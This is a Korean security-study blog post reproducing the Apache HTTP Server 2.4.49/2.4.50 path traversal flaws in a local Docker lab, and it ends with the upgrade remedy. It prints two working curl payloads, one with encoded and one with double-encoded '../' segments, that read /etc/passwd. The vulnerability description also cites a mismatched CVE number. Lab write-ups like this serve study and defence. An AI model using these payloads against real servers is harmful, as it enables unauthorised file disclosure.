정보보안공부
[CVE-2021-41773/CVE-2021-42013] Apache HTTP Server - Path Traversal & Remote Code Execution (RCE) 본문
CVE
[CVE-2021-41773/CVE-2021-42013] Apache HTTP Server - Path Traversal & Remote Code Execution (RCE)
Steady_sp 2022. 3. 8. 10:14■ 실습 환경
1) 취약서버 - 192.168.164.150:9983 (docker) httpd:2.4.49 / httpd:2.4.50
■ 취약점 설명
CVE-2021-29447 : 상위경로 문자를 판단하는 정규화 로직에서 결함이 발견되어 인코딩된 상위 경로 문자를 사용할 경우 서버 정보 획득이 가능함
※ Apache HTTP Server 2.4.49 , 2.4.50 버전에서 발생
■ Exploit
1. docker를 이용한 httpd 환경 구현
※ docker pull httpd:2.4.49
※ docker pull httpd:2.4.50
2. 설정파일 내 공격이 실행 가능하도록 취약하게 설정
#> vi /usr/local/apache2/conf/httpd.conf |

해당 설정에서 granted가 아닌 디폴트 값인 denied 일 경우 취약하지 않음
( 취약한 설정은 granted 설정 )
3. 공격 실행
- Apache HTTP Server 2.4.49 환경
#> curl http://192.168.164.150:9983/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |

→ 2.4.49 버전에서 해당 방식으로 취약점이 발견되어 2.4.50에서 조치되었으나 아래와 같은 구문으로 우회가 가능함
- Apache HTTP Server 2.4.50 환경
#> curl http://192.168.164.150:9983/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd |

→ 2.4.50 버전에서 더블 인코딩 방식으로 취약점이 발견되었음
■ 대응방안
1. Apache HTTP Server 2.4.51 이상 버전 사용
'CVE' 카테고리의 다른 글
[CVE-2021-28164] Jetty - Information Disclosure (0) | 2022.03.08 |
---|---|
[CVE-2021-29447] 'Media Library' XML External Entity Injection (XXE) 취약점 (0) | 2022.03.07 |